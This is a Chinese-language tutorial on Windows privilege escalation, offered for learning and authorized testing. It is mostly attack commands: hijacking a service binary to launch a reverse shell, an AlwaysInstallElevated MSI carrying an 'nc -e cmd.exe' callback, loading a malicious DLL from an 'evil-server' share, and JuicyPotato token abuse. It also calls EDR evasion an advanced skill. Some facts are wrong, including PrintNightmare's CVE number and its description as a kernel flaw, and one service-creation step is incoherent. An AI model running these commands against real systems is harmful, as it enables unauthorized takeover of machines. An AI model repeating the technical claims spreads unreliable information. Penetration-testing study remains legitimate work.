将严格从网络安全学习和授权测试的角度出发,详细讲解Windows提权的原理、常用命令、方法和工具。请务必在获得明确授权的环境下进行测试,未经授权的测试是违法行为。

提权核心思想
提权的核心是利用系统或软件中的漏洞,将当前低权限用户的权限(如普通用户 Users 组)提升到高权限(如管理员 Administrators 组)。
提权可以分为两大类:
- 内核提权:利用操作系统内核或驱动程序的漏洞,直接提升到
NT AUTHORITY\SYSTEM权限(相当于Linux的root)。 - 配置错误提权:利用管理员不当的权限配置、服务配置或安装的软件漏洞来提升权限。
准备工作:信息收集
在尝试提权之前,必须尽可能多地收集目标系统的信息,信息越详细,提权的成功率就越高。
查看当前用户权限
这是最基本的一步,确认你当前的身份。

# 查看当前用户名 whoami # 查看当前用户所属的所有组(非常关键!) whoami /all # 查看当前用户的完整权限列表 whoami /priv
重点关注是否在 Administrators 组、Users 组,以及拥有的权限(如 SeDebugPrivilege)。
系统信息收集
# 查看操作系统版本和架构(32位/64位) systeminfo # 查看系统详细信息(包括Hotfix,对内核提权至关重要) systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
systeminfo 的输出是寻找内核漏洞(如 Windows Exploit Suggester)的输入数据。
已安装软件和补丁信息
# 查看所有已安装的软件和版本 wmic product get name,version # 查看已安装的热修复程序(Hotfix) wmic qfe get HotFixID,Description,InstalledOn
这些信息可以帮助你找到有漏洞的第三方软件(如Adobe, Oracle Java等)。
网络和共享信息
# 查看所有网络连接和监听端口 netstat -ano # 查看可访问的共享文件夹 net share # 查看当前用户可以访问的远程计算机 net view
有时,横向移动到另一台机器再提权会更有效。
其他有用的信息
# 查看所有用户(包括隐藏用户) net user # 查看计划任务 schtasks /query /fo LIST /v # 查看服务(检查是否有配置错误的服务) sc query state= all # 查看环境变量 set # 查看正在运行的进程 tasklist /svc
提权方法与命令
根据收集到的信息,选择合适的提权方法。
内核漏洞提权
这是最经典的方法,通过查找目标系统未打补丁的内核漏洞,利用漏洞代码(Exploit)执行命令获得 SYSTEM 权限。
工具: Windows-Exploit-Suggester.py
步骤:
-
在目标机上运行
systeminfo > info.txt并导出信息。 -
将
info.txt传回到你的攻击机。 -
在你的攻击机上(需要安装Python)运行建议器:
# 首先下载工具 git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git cd Windows-Exploit-Suggester # 运行建议器,将你的info.txt作为输入 python windows-exploit-suggester.py -i info.txt
-
工具会输出一个列表,列出可能可用的漏洞和对应的CVE编号。
-
根据列表,在
Exploit-DB等网站上搜索对应的Exploit代码(通常是.ps1,.exe,.c文件)。 -
将编译好的Exploit文件上传到目标机并执行。
示例(针对CVE-2025-36934 - PrintNightmare): 这是一个非常著名的漏洞,在获得初始访问后,可以尝试利用它。
# 这是一个概念验证代码,实际利用可能更复杂 # 你需要准备一个恶意的DLL文件,并指向它 # 以下命令仅为示意,不能直接使用 rundll32.exe \\evil-server\share\malicious.dll,EntryPoint
注意: 内核提权风险高,可能导致系统蓝屏,现代Windows系统补丁更新频繁,此方法成功率在下降。
服务配置错误提权
管理员错误配置服务是提权的常见途径。
场景1:不安全的服务权限
如果某个服务的可执行文件被当前用户修改,或者服务配置允许低权限用户修改其参数,就可以劫持服务。
命令:
# 使用PowerSploit套件中的Invoke-PrivescCheck进行快速检查 # (需要先上传Invoke-PrivescCheck.ps1) . .\Invoke-PrivescCheck.ps1 Invoke-PrivescCheck # 或者手动检查服务权限 sc qc <服务名>
检查 BINARY_PATH_NAME 和 SERVICE_START_NAME,如果当前用户对可执行文件有写入权限,或者可以启动/停止服务,就可能提权。
利用步骤:
- 找到一个权限配置不当的服务
VulnerableService。 - 创建一个恶意脚本(如
reverse_shell.exe或cmd.exe)。 - 修改服务的可执行文件路径为你的恶意脚本:
sc config VulnerableService binPath= "C:\path\to\your\reverse_shell.exe"
- 启动服务,获得高权限的shell:
net start VulnerableService
场景2:可被任意用户启动/停止的服务
如果某个服务以 SYSTEM 权限运行,但允许任何用户启动它,你可以通过启动一个特殊配置的服务来提权。
利用步骤:
- 创建一个配置文件
sc_config.txt如下:[SERVICE] Type= own Start= auto Error= normal BinPath= C:\Windows\System32\cmd.exe DisplayName= My Vulnerable Service DependOnService= lanmanworkstation - 使用
sc.exe命令创建服务:sc.exe \\.\ create VulnerableService binPath= "C:\Windows\System32\cmd.exe" type= own start= auto
- 启动服务,直接弹出一个
SYSTEM权限的cmd.exe窗口:net start VulnerableService
AlwaysInstallElevated (AIE) 策略提权
这是一个经典的组策略漏洞,如果此策略被启用,任何用户都能以 SYSTEM 权限安装MSI软件包。
检查是否启用:
# 检查注册表项 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果两个命令的输出都是 0x1,则表示已启用。
利用步骤:
- 创建一个恶意MSI安装包,可以使用
msiexec和一个简单的批处理文件来实现反弹shell。 - 创建一个文本文件
payload.txt为你的反弹shell命令,nc -e cmd.exe your_ip your_port。 - 创建一个
malicious.msi安装包,这个过程比较复杂,通常需要使用工具如msiwrapper或手动创建。 - 在目标机上运行MSI包:
msiexec /quiet /qn /i C:\path\to\malicious.msi
执行后,会以
SYSTEM权限运行你的payload。
令牌窃取/模拟提权
如果你有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限,可以尝试进行令牌窃取。
工具: Rotten Potato、Juicy Potato、PrintSpoofer
示例:使用 Juicy Potato
Juicy Potato 利用了Windows DCOM组件的权限配置问题来创建一个高权限令牌。
-
将
JuicyPotato.exe上传到目标机。 -
确定你的当前用户名(
user1)。 -
确定一个COM CLSID。
Juicy Potato的GitHub页面或工具自带的CLSID.txt文件中有列表。 -
运行
Juicy Potato:# 基本语法 JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 9999 -c {CLSID} -u "user1" -p "password" # 示例(使用默认的CLSID和监听端口8888) JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 8888 -c {000C1A05-F161-44DB-8B23-EE5E5DFA736E} -u "user1" -p ""如果成功,会弹出一个
SYSTEM权限的cmd.exe。
路径劫持提权
程序在启动时,会从一系列预定义的路径(如当前目录、System32 等)查找DLL文件,如果当前用户在这些路径有写入权限,就可以放置一个恶意的同名DLL,等待程序加载它。
检查方法:
# 查看当前用户的PATH环境变量 echo %PATH% # 使用工具如 `WinPEAS` 或 `PowerUp.ps1` 进行自动化检查 . .\PowerUp.ps1 Invoke-AllChecks
PowerUp.ps1 的 Write-ServiceBinary 模块可以自动检测并利用路径劫持漏洞。
自动化提权工具
手动提权耗时耗力,自动化工具可以快速扫描和利用已知的提权向量。
WinPEAS
功能: 一个功能极其强大的脚本,可以检查几乎所有类型的提权漏洞(服务、注册表、密码、文件权限、AIE等)。 用法:
# 在目标机上下载并运行 . \winpeas.bat # 或者 . .\winpeas.exe
它会输出大量的信息,你需要仔细阅读并寻找绿色的 [+] 标记,这表示发现了潜在的可利用点。
PowerUp.ps1 (来自PowerSploit)
功能: 一个专门为Windows设计的PowerShell提权框架。 用法:
# 导入模块 . .\PowerUp.ps1 # 运行所有检查 Invoke-AllChecks # 或者运行单个检查,例如检查服务 Get-ModifiablePath Get-ModifiableService
Windows-Exploit-Suggester
功能: 如前所述,它不直接提权,但能根据 systeminfo 的输出,智能地告诉你有哪些内核漏洞或第三方软件漏洞可以利用,是提权前的必备工具。
总结与最佳实践
- 授权第一:永远不要在未经授权的系统上进行测试。
- 信息为王:提权成功的关键在于充分的信息收集。
systeminfo、whoami /all和wmic是你的好朋友。 - 工具组合:不要依赖单一工具,先用
WinPEAS或PowerUp.ps1进行快速扫描,再用Windows-Exploit-Suggester针对性地查找内核漏洞。 - 从简单到复杂:先尝试配置错误类的提权(服务、AIE、路径劫持),这类漏洞更容易利用且风险更低,内核提权是最后的选择。
- 隐蔽性:在真实渗透测试中,提权操作可能会被杀毒软件或EDR检测到,了解如何绕过这些安全产品是进阶技能。
- 保持更新:Windows和第三方软件的漏洞不断被发现和修复,持续学习最新的提权技术和漏洞信息至关重要。
希望这份详细的指南能帮助你从学习者的角度理解Windows提权,请务必遵守法律和道德准则。
